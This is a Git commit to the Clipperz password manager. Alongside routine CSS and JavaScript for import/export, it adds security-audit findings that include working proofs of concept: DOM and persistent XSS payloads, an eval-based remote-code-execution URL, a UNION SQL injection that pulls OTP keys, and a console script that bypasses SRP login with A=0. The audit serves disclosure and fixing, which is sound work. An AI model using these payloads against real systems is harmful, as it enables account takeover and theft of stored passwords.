Merged Import and Export branches, implemented Giulio's remarks on Import feature

master-GE
Dario Chiappetta 2015-05-21 14:32:51 +02:00
parent d1d5fae5de
commit 0126873868
43 changed files with 4494 additions and 1008 deletions

View File

@ -0,0 +1,63 @@
CLP-01-001 DOMXSS in Clipperz Bookmarklet via benign HTML Injection (Medium)
Insecure concatenation of HTML strings in the Clipperz bookmarklet core
lead to possibilities for an attacker, to turn a harmless injection on a
victim website into an XSS as soon as a user activates the bookmarklet.
The bookmarklet contains injectable code that allows arbitrary
JavaScript execution from a harmless injection as shown below:
PoC:
(run Clipperz Bookmarklet on this website)
<body>
<form action=''>
<input name='username' type='text'>
<input name='</textarea><img src=x onerror=alert(domain)>' type='password'>
</form>
Affected HTML:
<textarea style="border:2px solid #333366; font-family:sans-serif;
font-size:8pt; color:#336; width:240px; height:135px; padding:4px;
background-color:white; margin:0px 10px;"
id="bookmarklet_textarea">{"page": {"title": ""},
"form": {"attributes": {"action": "http://0x0/Test/",
"method": null},
"inputs": [{"type": "text",
"name": "username",
"value": "root"},
{"type": "password",
"name": "</textarea><img onerror="alert(domain)" src="x">",
"value": "k4n0n3!?"}]},
"version": "0.2.3"}</div>
Affected Code:
innerHTML+="<textarea id=\"bookmarklet_textarea\" style=\"border:2px
solid #333366; font-family:sans-serif; font-size:8pt; color:#336;
width:240px; height:135px; padding:4px; background-color:white;
margin:0px 10px;\">"+sj(someParameters)+"</textarea>";}
...
sj=function(o){var
objtype=typeof(o);if(objtype=="number"||objtype=="boolean"){return
o+"";}else if(o===null){return"null";} if(objtype=="string"){return
rs(o);} var
me=arguments.callee;if(objtype!="function"&&typeof(o.length)=="number"){var
res=[];for(var i=0;i<o.length;i++){var
val=me(o[i]);if(typeof(val)!="string"){val="undefined";} res.push(val);}
return"["+res.join(",\n")+"]";}
...
rs=function(o){return("\""+o.replace(/([\"\\])/g,"\\$1")+"\"").replace(/[\f]/g,"\\f").replace(/[\b]/g,"\\b").replace(/[\n]/g,"\\n").replace(/[\t]/g,"\\t").replace(/[\r]/g,"\\r");}
Any form of HTML, even content of HTML element attributes must be
considered an attack vector. Currently, Clipperz does a good job in
terms of encoding HTML element value attributes, yet other attribute
types are not escaped, encoded or filtered at all. This lead to the
identification of this and other bugs, specifically CLP-01-014 and
CLP-01-015.
It needs to be made sure, that any form of user controlled data is being
processed safely before displaying the resulting data. HTML special
characters need to be encoded to their respected entity representation
before displaying them.

View File

@ -0,0 +1,52 @@
CLP-01-002 Remote Code Execution in PHP Backend (Critical)
The PHP backend is vulnerable to Remote Code Execution attacks. In the
file setup/rpc.php, the name of a class can be specified in the
parameter objectname of which an object is later instantiated within an
eval() statement.
$objectName = isset($_REQUEST['objectname']) ? $_REQUEST['objectname'] : '';
[...]
eval ('$instance = new '.$objectName.'();');
[...]
switch($action)
{
case 'Add':
eval ('$instance = new '.$objectName.'();');
[...]
case 'Delete':
eval ('$instance = new '.$objectName.'();');
[...]
case 'Update':
eval ('$instance = new '.$objectName.'();');
function RefreshTree($objectName, $root, $offset = '', $limit = '')
{
[...]
eval ('$instance = new '.$objectName.'();');
An attacker can add arbitrary PHP code to the objectname parameter that
is then executed on the web server. This allows to fully compromise the
web server and its data.
/setup/rpc.php?objectname=stdClass();system(?whoami?);phpinfo
Note that the setup routine can be protected by a password (empty by
default) but the affected file setup/rpc.php does not include the file
setup_library/authentication.php that performs the actual authentication
check. Thus, the attack can be executed by any user as long as the setup
directory exists.
PHP allows to dynamically call methods and constructors without using
the eval() operator by using reflection. Here, no execution of arbitrary
PHP code is possible.
$instance = new $objectName();
However, arbitrary constructors can be accessed that can lead to
unwanted behavior. Thus, the objectName parameter should be validated
against a whitelist which is already available in the $objects array
filled in line 28. Other names should be rejected by the application.
if(!in_array($objectName, $objects))
exit;

View File

@ -0,0 +1,75 @@
CLP-01-003 SQL Injection in PHP Backend (High)
The PHP backend is vulnerable to SQL injection attacks. The method
GetList() of the object class user, record, recordversion,
onetimepasswordstatus, and onetimepassword does not sanitize its
parameters sufficiently before adding these to a dynamically constructed
SQL query. Affected are the $sortBy and $limit parameter.
function GetList($fcv_array = array(), $sortBy='', $ascending=true,
$limit='') {
$sqlLimit = ($limit != '' ? "LIMIT $limit" : '');
$this->pog_query = "select * from `onetimepassword` ";
[...]
$this->pog_query .= " order by ".$sortBy." ".($ascending ? "asc" :
"desc")." $sqlLimit";
$cursor = Database::Reader($this->pog_query, $connection);
[...]
}
A vulnerable call of this method can be found in the function
RefreshTree() of the file setup/rpc.php. Its first parameter is passed
to the $sortBy parameter and the two last parameters are passed
concatenated to the $limit parameter of the vulnerable GetList() method.
function RefreshTree($objectName, $root, $offset = '', $limit = '') {
$sqlLimit = "$offset, $limit";
$instanceList = $instance->GetList(
array(array(strtolower($objectName)."Id",">",0)),
strtolower($objectName)."Id",
false,
$sqlLimit
);
}
The function RefreshTree() is called with unsanitized parameters when
the GET parameter action is set to Refresh.
$objectName = isset($_REQUEST['objectname']) ? $_REQUEST['objectname'] : '';
$limit = isset($_REQUEST['limit']) ? $_REQUEST['limit'] : '';
$offset = isset($_REQUEST['offset']) ? $_REQUEST['offset'] : '';
$action = $_GET['action'];
switch($action) {
case 'Refresh':
RefreshTree($objectName, $root, $offset, $limit);
}
An attacker is able to extract arbitrary data from the database,
including user data and OTP keys.
/setup/rpc.php?action=Refresh&objectname=user&offset=1&limit=1 union
select onetimepasswordid,userid,reference,key,key_checksum,data,7,8,9
from clipperz.onetimepassword
The construction of the WHERE clause from the parameter $fcv_array in
the GetList() method is also potentially affected by SQL injection.
Here, expected numeric values are added to the SQL query without
escaping or type-casting.
if(isset($this->pog_attribute_type[$fcv_array[$i][0]]['db_attributes'])
&& $this->pog_attribute_type[$fcv_array[$i][0]]['db_attributes'][0] !=
'NUMERIC'
&& $this->pog_attribute_type[$fcv_array[$i][0]]['db_attributes'][0] !=
'SET') {
}
else {
value = POG_Base::IsColumn($fcv_array[$i][2]) ? $fcv_array[$i][2] :
"'".$fcv_array[$i][2]."'";
$this->pog_query .= "`".$fcv_array[$i][0]."` ".$fcv_array[$i][1]." ".$value;
}
Expected numeric values should be converted to integer before embedding
them into the SQL query. Otherwise, an attacker is able to break out of
the single quotes and inject her own SQL syntax. For more security it is
highly recommended to use prepared statements, as done in the Python and
Java backend.

View File

@ -0,0 +1,69 @@
CLP-01-014 Persistent XSS via Direct Login from Bookmarklet (Critical)
Caused by missing output filtering, an attacker can abuse the
Bookmarklet in combination with the creation of a new card of type
?Direct Login? to persistently infect a Clipperz account and get full
and transparent access to all data stored in the account including
passwords, keystrokes and other sensitive data.
Steps to Reproduce:
Navigate to a maliciously prepared Website
Use the Clipperz Bookmarklet
Copy the generated JSON to create a Card
Navigate to the Clipperz application
Create a new card of type ?Direct Login?
Paste the content and save (First XSS is triggerd)
Create the card (Second XSS is triggered)
Anytime the affected user navigates to the malicious card, the injected
JavaScript is executed. This thereby effectively ?trojanizes? the entire
Clipperz account and gives an attacker access to any of the stored cards
and related passwords in plaintext.
Example Markup for malicious page:
<body>
<form action=''>
<input name='username' type='text'>
<input name='password' type='password'>
<input name='"><img src=x onerror=alert(domain)>' value='bla'>
</form>
Resulting JSON:
{"page": {"title": ""},
"form": {"attributes": {"action": "http://attacked/",
"method": null},
"inputs": [{"type": "text",
"name": "username",
"value": "root"},
{"type": "password",
"name": "password",
"value": ""},
{"type": "text",
"name": "\"><img src=x onerror=alert(domain)>",
"value": "bla"}]},
"version": "0.2.3"}
Affected Markup in Clipperz application:
<tr id="elgen-1630"><td
class="directLoginBindingLabelTD"><span>"&gt;&lt;img src=x
onerror=alert(domain)&gt;</span></td><td
class="directLoginBindingValueTD"><div style="display: none;"
id="Clipperz_PM_Components_Panels_editModeBox_3947"><select
id="Clipperz_PM_Components_Panels_select_3948"><option
value="null">---</option><option
value="014ab7a3d138834f883b0742857cd906fd1902e5c42303348fa181eb568695c1">username</option><option
value="8e63b43adc66c2efb1ad9b61aa0e7184f12545eeb163ce076cbae05d5d6e0a45">password</option><option
value="01a2b7d792deb70d98ad5f1bb0b3afd89de20554ba606be2662531c20dd6fd48"
selected="true">"&gt;&lt;img src=x
onerror=alert(domain)&gt;</option></select></div><div style="display:
block;" id="Clipperz_PM_Components_Panels_viewModeBox_3949"><span
id="Clipperz_PM_Components_Panels_viewValue_3950">"&gt;<img src="x"
onerror="alert(domain)"></span></div></td></tr>
It is highly recommended to escape and filter any output and consider
the pages to pull login data from to be an adversary as well. Especially
the content of the name field and other attributes of form elements
should not be considered trusted as they can contain malicious data -
similar to the form element?s value. All special HTML characters need to
be converted into their corresponding HTML entities before displaying
them to the user.

View File

@ -0,0 +1,62 @@
CLP-01-015 Persistent XSS on Index Page via Direct Login Favicon (Critical)
Similar to the issue described in CLP-01-014, a persistent XSS can be
triggered using the Direct Login feature. Clipperz attempts to load the
favicon of the linked website and display its URL inside the src
attribute of an IMG element. An attacker can cause the bookmarklet to
deliver a maliciously prepared URL that, in conjunction with the favicon
display, leads to an XSS attack.
Note that this attack is capable of executing arbitrary attacker
controlled JavaScript right after the victim logged in, because the
vulnerable element is being shown on the index page. It is further
possible to create a malicious page that will fill the bookmarklet?s
textarea with arbitrary content. The victim would have no way to detect
that something was injected and will willingly copy & paste it into the
clippers application?s card creator form.
Steps to reproduce:
Copy malicious JSON into card editor for ?Direct Login?
Create the card
Logout
Log in again
Attacker?s JavaScript executes
Example JSON to inject the payload:
{"page": {"title": ""},
"form": {"attributes": {"action": "javascript://\"onload=alert(1)//",
"method": null},
"inputs": [{"type": "text",
"name": "username",
"value": ""},
{"type": "password",
"name": "password",
"value": ""}]},
"version": "0.2.3"}
Affected Markup in Clipperz application:
<img
id="6a103aa5ab36f0c34cebde816f468bfd9550ca5bbbce67470a0ec58ec7ea1a4b_faviconIMG"
src="data:application/octet-stream;charset=utf-8;base64,AAABAAEAFxcAAAEAGAD8BgAAFgAAACgAAAAXAAAALgAAAAEAGAAAAAAAAAAAABIXAAASFwAAAAAAAAAA...AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAo="
onload="alert(1)///favicon.ico&quot;"></td><td valign="top"><a
class="directLoginItemTitle">adadadsadsa</a></td><td align="right"
valign="top"><a
class="directLoginItemEditButton">show</a></td></tr></tbody></table></li><li
class=" "
id="a88d6fc245559afc38aee293fb59790233242dad2633ed61dcc110e2e61644c4"><table
border="0" cellpadding="0" cellspacing="0"><tbody><tr><td align="center"
valign="top" width="20"><img
id="a88d6fc245559afc38aee293fb59790233242dad2633ed61dcc110e2e61644c4_faviconIMG"
src="data:application/octet-stream;charset=utf-8;base64,AAABAAEAFxcAAAEAGAD8BgAAFgAAACgAAAAXAAAALgAAAAEAGAAAAAAAAAAAABIXAAASFwAAAAAAAAAA...AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAo="
onload="alert(1)///favicon.ico&quot;"></td><td valign="top"><a
class="directLoginItemTitle">unnamed record</a></td><td align="right"
valign="top"><a class="directLoginItemEditButton">show</a>
It must be ensured that any form of user controlled data is being
filtered and encoded properly. It has shown, that the JSON processing
for direct logins is a particularly vulnerable element of the Clipperz
application and deserves special attention. We believe, that the
bookmarklet is easily exposed to injection attacks and that the content
of the textarea for direct login data is a dangerous and easy to exploit
attack vector and needs to be treated as such by the Clipperz
application upon processing its data.

View File

@ -0,0 +1,20 @@
CLP-01-016 SRP implementation vulnerable to known attacks (High)
The Clipperz application implements the Secure Remote Password protocol
for authentication. The implementation adheres to the original protocol
specification from 1998 and is not standardized. The third revision
(SRP-3) is described in RFC2459, and has since revised several times to
prevent against attacks. Two attacks, ?two-for-one? guessing attack and
message ordering attack, are detailed in the paper ?SRP-6 Improvements
and Refinements of the Secure Remote Password Protocol?. The latest
revision of the protocol SRP-6 is being standardized in IEEE P1363 and
ISO/IEC 11770-4.
Specifically, the implementation is missing the k value introduced in
SRP-6 to prevent the ?two-for-one? attack. The k value is used on the
server side to compute B=kv+gb and on the client side to compute
S=(B-kgx)(a+ux). Also, the exchange of messages follows the SRP-3
optimized ordering, not the standard or optimized message ordering of
SRP-6, which was introduced to prevent a message ordering attack. Note
also that the computation of M1=H(A | B | K) does not adhere to
M1=H(H(N) XOR H(g) | H(I) | s | A | B | K) as specified by the standard.

View File

@ -0,0 +1,88 @@
CLP-01-017 SRP Authentication Bypass (Critical)
The Clipperz application implements the Secure Remote Password protocol
for authentication. The specification explicitly states that the
parameter A provided by the client must not be zero. The Clipperz
implementation omits this check, which makes password verification
trivial to bypass.
According to the SRP-6 specification, the shared secret is on the server
side calculated as (Avu)b where A is supplied by the client. If A is
zero the result is also zero, and the resulting shared key is H(0). The
corresponding proof can easily be calculated by the attacker as H(0 | B
| H(0)). The following JavaScript function can be run in the console
when on the Clipperz login page. While the page itself is not updated,
the resulting JSON response clearly indicates a successful login.
SRP authentication bypass PoC:
(function PoC(){
function send(m,p){
x=new XMLHttpRequest();
x.open('post','/json',false);
x.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
x.send('method='+m+'&parameters='+urlEncode(JSON.stringify(p)));
return JSON.parse(x.responseText);
}
r=send('knock',{"requestType":"CONNECT"});
r=send('handshake',{"parameters":
{"message":"connect",
"version":"0.2",
"parameters":
{"C":"97766a7e1814fa3042c48869a314f9bde76ab48a57fb1ee54e874aadb76544f6",
"A":"0"}},
"toll":new Clipperz.PM.Toll(r.toll).deferredPay().results[0]});
B=new Clipperz.Crypto.BigInt(r.result.B,16).asString();
S=new Clipperz.ByteArray("0")
K=Clipperz.Crypto.SHA.sha_d256(S).toHexString().substring(2);
M1=new Clipperz.ByteArray("0"+B+K)
M1=Clipperz.Crypto.SHA.sha_d256(M1).toHexString().substring(2);
return send('handshake',{"parameters":
{"message":"credentialCheck",
"version":"0.2",
"parameters":{"M1":M1}},
"toll":new Clipperz.PM.Toll(r.toll).deferredPay().results[0]});
})()
Example JSON response:
{"result":
{"subscription":
{"fromDate":"Mon, 28 April 2014 13:20:56 UTC",
"features":["OFFLINE_COPY","LIST_CARDS"],
"toDate":"Mon, 01 January 4001 00:00:00 UTC",
"type":"EARLY_ADOPTER"},
"loginInfo":
{"current":
{"operatingSystem":"LINUX",
"disconnectionType":"STILL_CONNECTED",
"browser":"FIREFOX",
"connectionType":"LOGIN",
"date":"Tue, 06 May 2014 03:09:28 UTC",
"country":"SE",
"ip":"83.248.183.26"},
"latest":
{"operatingSystem":"LINUX",
"disconnectionType":"SESSION_EXPIRED",
"browser":"FIREFOX",
"connectionType":"LOGIN",
"date":"Tue, 06 May 2014 02:16:36 UTC",
"country":"SE",
"ip":"83.248.183.26"}},
"connectionId":
"35defbcf6616c469aeb404e899b057fa2fdf2595c20b56a3c78407947a16dd86",
"lock":"8404A584-AE8A-2AEB-3B1F-066D4A3FF271",
"offlineCopyNeeded":true,
"M2":"de8e70e96b860f703417dd27e7d4233c9bdab503c58cb89d5bddcbd8ed93fb97"},
"toll":
{"targetValue":
"2e563d96bac476777ef9338153048b17f84055ec2a7f4e8b47142e518eff26b5",
"requestType":"MESSAGE",
"cost":2}
}
To mitigate the issue sufficiently, the server needs to verify that A
cannot be 0 so the attack cannot be carried out.

View File

@ -465,6 +465,21 @@ div.overlay {
-ms-animation-delay: -0.0833s;
-o-animation-delay: -0.0833s;
animation-delay: -0.0833s; }
div.overlay .progressBar {
width: 100%;
background-color: #222;
height: 4px;
margin-top: 86px;
-webkit-border-radius: 2px;
-moz-border-radius: 2px;
border-radius: 2px; }
div.overlay .progressBar .progress {
background-color: #999;
height: 4px;
display: block;
-webkit-border-radius: 2px;
-moz-border-radius: 2px;
border-radius: 2px; }
@-webkit-keyframes overlay-spin {
from {
@ -835,7 +850,8 @@ html {
-moz-flex: auto;
-ms-flex: auto;
flex: auto;
overflow: auto; }
overflow: auto;
-webkit-overflow-scrolling: touch; }
#extraFeaturesPanel .extraFeatureIndex footer {
-webkit-box-flex: none;
-webkit-flex: none;
@ -853,6 +869,12 @@ html {
width: 100%;
height: 100%;
background-color: black; }
#extraFeaturesPanel .extraFeatureContent .extraFeature {
height: 100%; }
#extraFeaturesPanel .extraFeatureContent .extraFeature .content {
height: 100%;
overflow: auto;
-webkit-overflow-scrolling: touch; }
.container {
height: 100%;
@ -1206,7 +1228,7 @@ div.dialogBox {
z-index: 10;
background-color: rgba(0, 0, 0, 0.5); }
div.dialogBox .mask {
z-index: 12; }
z-index: 25; }
div.dialogBox div.dialog {
-webkit-box-flex: none;
-webkit-flex: none;
@ -1346,7 +1368,7 @@ div.dialogBox {
margin: 0px; }
#loginPage {
overflow: scroll;
overflow: auto;
-webkit-overflow-scrolling: touch; }
#loginPage div.loginForm {
display: -webkit-box;
@ -1983,20 +2005,24 @@ span.count {
border-top: 1px solid white; }
#extraFeaturesPanel .extraFeatureIndex > div > ul > li {
border-bottom: 1px solid white; }
#extraFeaturesPanel .extraFeatureIndex > div > ul > li > ul {
padding-left: 10px; }
#extraFeaturesPanel .extraFeatureIndex > div > ul > li > h1 {
cursor: pointer;
font-size: 16pt;
padding: 10px; }
#extraFeaturesPanel .extraFeatureIndex > div > ul > li.closed > ul {
display: none;
visibility: hidden; }
#extraFeaturesPanel .extraFeatureIndex > div ul li > ul > li {
padding: 10px;
padding-right: 0px; }
padding-left: 20px;
padding-right: 0px;
cursor: pointer; }
#extraFeaturesPanel .extraFeatureIndex > div ul li > ul > li.selected {
background-color: #333; }
#extraFeaturesPanel .extraFeatureIndex > div ul li > ul > li > div {
padding: 4px; }
#extraFeaturesPanel .extraFeatureIndex > div ul li h1 {
cursor: pointer;
font-size: 16pt;
padding: 10px; }
#extraFeaturesPanel .extraFeatureIndex > div ul li > ul > li.offlineCopy {
cursor: default; }
#extraFeaturesPanel .extraFeatureIndex > div ul li h2 {
font-weight: 300;
font-size: 14pt; }
@ -2037,51 +2063,169 @@ span.count {
#extraFeaturesPanel .extraFeatureContent {
border-right: 1px solid #222;
color: white;
/* IMPORT */
/* /IMPORT */ }
/*
.changePassphraseForm {
label {
display: block;
}
input {
display: block;
}
}
.deleteAccountForm {
margin-top: 1em;
label {
display: block;
}
input {
display: inline-block;
margin-right: 1em;
margin-bottom: 1em;
}
.confirmCheckbox {
display: inline-block;
}
}
*/ }
#extraFeaturesPanel .extraFeatureContent header {
display: none; }
#extraFeaturesPanel .extraFeatureContent .changePassphraseForm label {
display: block; }
#extraFeaturesPanel .extraFeatureContent .changePassphraseForm input {
display: block; }
#extraFeaturesPanel .extraFeatureContent .deleteAccountForm {
margin-top: 1em; }
#extraFeaturesPanel .extraFeatureContent .deleteAccountForm label {
display: block; }
#extraFeaturesPanel .extraFeatureContent .deleteAccountForm input {
#extraFeaturesPanel .extraFeatureContent .extraFeature {
padding: 20px; }
#extraFeaturesPanel .extraFeatureContent .extraFeature h1 {
font-size: 20pt;
padding-bottom: 20px; }
#extraFeaturesPanel .extraFeatureContent .extraFeature form label {
display: none; }
#extraFeaturesPanel .extraFeatureContent .extraFeature form input {
display: block;
font-size: 18pt;
margin-bottom: 8px;
padding: 6px 10px;
border: 0px solid white;
width: 350px;
color: black; }
#extraFeaturesPanel .extraFeatureContent .extraFeature form input.invalid {
border: 0px solid #ff9900;
color: gray; }
#extraFeaturesPanel .extraFeatureContent .extraFeature form p {
display: -webkit-box;
display: -webkit-flex;
display: -moz-flex;
display: -ms-flexbox;
display: flex;
-webkit-box-direction: normal;
-webkit-box-orient: horizontal;
-webkit-flex-direction: row;
-moz-flex-direction: row;
-ms-flex-direction: row;
flex-direction: row; }
#extraFeaturesPanel .extraFeatureContent .extraFeature form p input {
width: 30px;
-webkit-box-flex: auto;
-webkit-flex: auto;
-moz-box-flex: auto;
-moz-flex: auto;
-ms-flex: auto;
flex: auto; }
#extraFeaturesPanel .extraFeatureContent .extraFeature form p span {
-webkit-box-flex: auto;
-webkit-flex: auto;
-moz-box-flex: auto;
-moz-flex: auto;
-ms-flex: auto;
flex: auto;
font-size: 12pt; }
#extraFeaturesPanel .extraFeatureContent .extraFeature form button {
font-family: "clipperz-font";
color: white;
font-size: 14pt;
border: 0px;
margin-top: 20px;
padding: 6px 10px;
border: 1px solid white;
background-color: #ff9900;
-webkit-transition: background-color font-weight 0.2s linear;
-moz-transition: background-color font-weight 0.2s linear;
-o-transition: background-color font-weight 0.2s linear;
-ms-transition: background-color font-weight 0.2s linear;
transition: background-color font-weight 0.2s linear; }
#extraFeaturesPanel .extraFeatureContent .extraFeature form button:disabled {
font-weight: 100;
background-color: #c0c0c0;
cursor: default; }
#extraFeaturesPanel .extraFeatureContent .extraFeature ul {
color: white; }
#extraFeaturesPanel .extraFeatureContent .extraFeature ul li {
padding-bottom: 40px; }
#extraFeaturesPanel .extraFeatureContent .extraFeature h3 {
font-size: 18pt; }
#extraFeaturesPanel .extraFeatureContent .extraFeature .description {
max-width: 500px;
padding: 10px 0px 20px 0px; }
#extraFeaturesPanel .extraFeatureContent .extraFeature .description p {
font-size: 10pt;
margin-bottom: 7px;
line-height: 1.4em;
color: #bbb; }
#extraFeaturesPanel .extraFeatureContent .extraFeature .description p em {
text-decoration: underline; }
#extraFeaturesPanel .extraFeatureContent .extraFeature .button {
display: inline-block;
margin-right: 1em;
margin-bottom: 1em; }
#extraFeaturesPanel .extraFeatureContent .deleteAccountForm .confirmCheckbox {
display: inline-block; }
#extraFeaturesPanel .extraFeatureContent .importForm textarea {
display: block;
color: white;
background-color: #ff9900;
font-size: 14pt;
border: 1px solid white;
padding: 6px 10px; }
#extraFeaturesPanel .extraFeatureContent .extraFeature .button.disabled {
background-color: #c0c0c0;
cursor: default; }
#extraFeaturesPanel .extraFeatureContent .dataImport .stepNavbar li {
display: inline-block;
margin-right: 1em; }
#extraFeaturesPanel .extraFeatureContent .dataImport .stepNavbar li.disabled {
color: gray; }
#extraFeaturesPanel .extraFeatureContent .dataImport .stepNavbar li.active {
text-decoration: underline; }
#extraFeaturesPanel .extraFeatureContent .dataImport .error {
margin: 1em 0; }
#extraFeaturesPanel .extraFeatureContent .dataImport textarea {
width: 100%;
min-height: 400px; }
#extraFeaturesPanel .extraFeatureContent .jsonPreview {
min-height: 400px;
display: block;
margin: 1em 0;
border: 0; }
#extraFeaturesPanel .extraFeatureContent .dataImport .csvTable {
background: white;
margin: 1em 0; }
#extraFeaturesPanel .extraFeatureContent .dataImport .dropArea {
margin: 1em 0;
width: calc(100% - 6px);
text-align: center;
height: inherit;
line-height: 3em;
border: 3px dashed white;
background: black; }
#extraFeaturesPanel .extraFeatureContent .dataImport .button {
margin-right: 1em; }
#extraFeaturesPanel .extraFeatureContent .dataImport .jsonPreview {
width: 100%;
height: 80%;
overflow: auto;
margin-top: 1em; }
#extraFeaturesPanel .extraFeatureContent .jsonPreview h3 {
#extraFeaturesPanel .extraFeatureContent .dataImport .jsonPreview h3 {
font-weight: bold; }
#extraFeaturesPanel .extraFeatureContent .jsonPreview ul {
#extraFeaturesPanel .extraFeatureContent .dataImport .jsonPreview ul {
margin-bottom: 1em;
padding-left: 1em; }
#extraFeaturesPanel .extraFeatureContent .jsonPreview ul li .label {
#extraFeaturesPanel .extraFeatureContent .dataImport .jsonPreview ul li .label {
font-weight: bold; }
#extraFeaturesPanel .extraFeatureContent form input.valid + .invalidMsg, #extraFeaturesPanel .extraFeatureContent form input.empty + .invalidMsg, #extraFeaturesPanel .extraFeatureContent form input:focus + .invalidMsg, #extraFeaturesPanel .extraFeatureContent form input.invalid:focus + .invalidMsg {
visibility: hidden; }
#extraFeaturesPanel .extraFeatureContent form input:focus {
border: 2px solid #ff9900; }
#extraFeaturesPanel .extraFeatureContent form input.valid:focus {
border: 2px solid #1863a1; }
#extraFeaturesPanel .extraFeatureContent form input.invalid + .invalidMsg {
visibility: visible; }
#extraFeaturesPanel .extraFeatureContent form .invalidMsg::before {
font-family: serif;
content: "\26A0 \0000a0"; }
.mainPage.narrow #extraFeaturesPanel .extraFeatureContent header {
display: block;
@ -2191,7 +2335,7 @@ div.cardList ul {
padding-right: 8px; }
div.cardList.narrow {
overflow: scroll;
overflow: auto;
-webkit-overflow-scrolling: touch; }
div.cardList.narrow.loadingCard li.selected:after {
color: white;
@ -2598,12 +2742,16 @@ div.dialog {
-webkit-border-radius: 8px;
-moz-border-radius: 8px;
border-radius: 8px;
max-width: 70%;
background-color: white;
padding: 30px; }
padding: 30px;
box-shadow: 4px 4px 6px 5px rgba(0, 0, 0, 0.3); }
div.dialog h3.message {
font-size: 18pt;
font-weight: bold;
padding-bottom: 20px; }
padding-bottom: 20px;
white-space: pre-wrap;
word-wrap: break-word; }
div.dialog div.answers div.button {
-webkit-border-radius: 4;
-moz-border-radius: 4;

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,6 @@
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" clip-rule="evenodd" stroke-miterlimit="10" viewBox="440.19 329.29 76.14 72.20">
<desc>SVG generated by Lineform</desc>
<defs/>
<path d="M 487.26 353.66 L 487.26 329.79 L 468.36 329.79 L 468.36 353.66 L 447.21 345.11 L 440.83 363.30 L 462.69 370.67 L 448.72 389.20 L 464.55 400.78 L 477.58 381.06 L 491.92 400.78 L 507.51 389.20 L 493.17 370.67 L 515.69 363.12 L 509.31 344.93 Z M 526.25 492.82 " fill-rule="non-zero" fill="#000000" stroke="#000000" stroke-width="0.25"/>
</svg>

After

Width:  |  Height:  |  Size: 627 B

View File

@ -85,6 +85,7 @@ Clipperz_normalizedNewLine = '\x0d\x0a';
</div>
<span class="icon done" style="display:none">done</span>
<span class="icon failed" style="display:none">failed</span>
<span class="progressBar" style="display:none"><span class="progress"></span></span>
<span class="title">loading</span>
<div class="mask hidden"></div>
</div>

View File

@ -233,6 +233,8 @@ Clipperz.Base.extend(Clipperz.PM.DataModel.DirectLogin, Object, {
'serializedData': function () {
return Clipperz.Async.collectResults("DirectLogin.serializedData", {
'favicon': MochiKit.Base.method(this,'favicon'),
'label': MochiKit.Base.method(this,'label'),
'bookmarkletVersion': MochiKit.Base.method(this, 'getValue', 'bookmarkletVersion'),
'formData': MochiKit.Base.method(this, 'getValue', 'formData'),
'formValues': MochiKit.Base.method(this, 'getValue', 'formValues'),

View File

@ -316,6 +316,36 @@ console.log("Record.Version.hasPendingChanges");
* /
},
*/
//=========================================================================
// TODO: this function may mix up the order of the fields
'exportFields': function() {
var deferredResult;
var fields;
deferredResult = new Clipperz.Async.Deferred('Record.Version.export', {trace:false});
deferredResult.addMethod(this,'fields');
deferredResult.addCallback(MochiKit.Base.values);
deferredResult.addCallback(MochiKit.Base.map, function(fieldIn) {
return fieldIn.content();
});
deferredResult.addCallback(Clipperz.Async.collectAll);
deferredResult.addCallback(function(listIn) {
// return listIn.reduce(function(result, field) {
return MochiKit.Iter.reduce(function(result, field) {
var ref = field.reference;
result[ref] = field;
delete result[ref].reference;
return result;
}, listIn, {});
});
deferredResult.callback();
return deferredResult;
},
//=========================================================================
__syntaxFix__: "syntax fix"
});

View File

@ -45,9 +45,7 @@ Clipperz.PM.DataModel.Record = function(args) {
this._createNewDirectLoginFunction = args.createNewDirectLoginFunction || null;
this._tags = [];
this._directLogins = {};
this._versions = {};
this._currentRecordVersion = null;
@ -163,16 +161,20 @@ Clipperz.Base.extend(Clipperz.PM.DataModel.Record, Clipperz.PM.DataModel.Encrypt
//............................................................................
'tagRegExp': function () { return Clipperz.PM.DataModel.Record.tagRegExp(); },
'trimSpacesRegExp': function () { return Clipperz.PM.DataModel.Record.tagRegExp(); },
'filterOutTags': function (aValue) { return Clipperz.PM.DataModel.Record.filterOutTags(aValue); },
'extractLabelFromFullLabel': function (aValue) {
return Clipperz.PM.DataModel.Record.extractLabelFromFullLabel(aValue);
},
'extractTagsFromFullLabel': function (aLabel) {
return Clipperz.PM.DataModel.Record.extractTagsFromFullLabel(aLabel);
},
//............................................................................
'label': function () {
return Clipperz.Async.callbacks("Record.label", [
MochiKit.Base.method(this, 'fullLabel'),
MochiKit.Base.method(this, 'filterOutTags')
MochiKit.Base.method(this, 'extractLabelFromFullLabel')
], {trace:false});
},
@ -193,22 +195,6 @@ Clipperz.Base.extend(Clipperz.PM.DataModel.Record, Clipperz.PM.DataModel.Encrypt
//.........................................................................
'extractTagsFromFullLabel': function (aLabel) {
var tagRegEx;
var result;
var match;
result = {};
tagRegEx = this.tagRegExp();
match = tagRegEx.exec(aLabel);
while (match != null) {
result[match[1]] = true;
match = tagRegEx.exec(aLabel);
}
return result;
},
'tags': function () {
return Clipperz.Async.callbacks("Record.label", [
MochiKit.Base.method(this, 'fullLabel'),
@ -1163,6 +1149,64 @@ console.log("Record.hasPendingChanges RESULT", result);
], {trace:false});
},
//=========================================================================
'exportDirectLogins': function() {
var result;
var directLoginsObject = this.directLogins();
if (MochiKit.Base.keys(directLoginsObject).length == 0) {
result = {};
} else {
var callbackObject = Object.keys(directLoginsObject).reduce(function(previous, current) {
previous[current] = MochiKit.Base.method( directLoginsObject[current], 'serializedData' );
return previous;
}, {});
result = Clipperz.Async.collectResults("Record.exportDirectLogins", callbackObject,{trace:false})();
}
return result;
},
'export': function() {
var deferredResult;
var label;
var data;
var currentVersion;
var directLogins;
var currentVersionObject;
data = {};
currentVersion = {};
directLogins = {};
deferredResult = new Clipperz.Async.Deferred('Record.export', {trace:false});
deferredResult.addMethod(this, 'getCurrentRecordVersion');
deferredResult.addCallback(function(recordVersionIn) { currentVersionObject = recordVersionIn; })
deferredResult.addMethod(this, 'fullLabel');
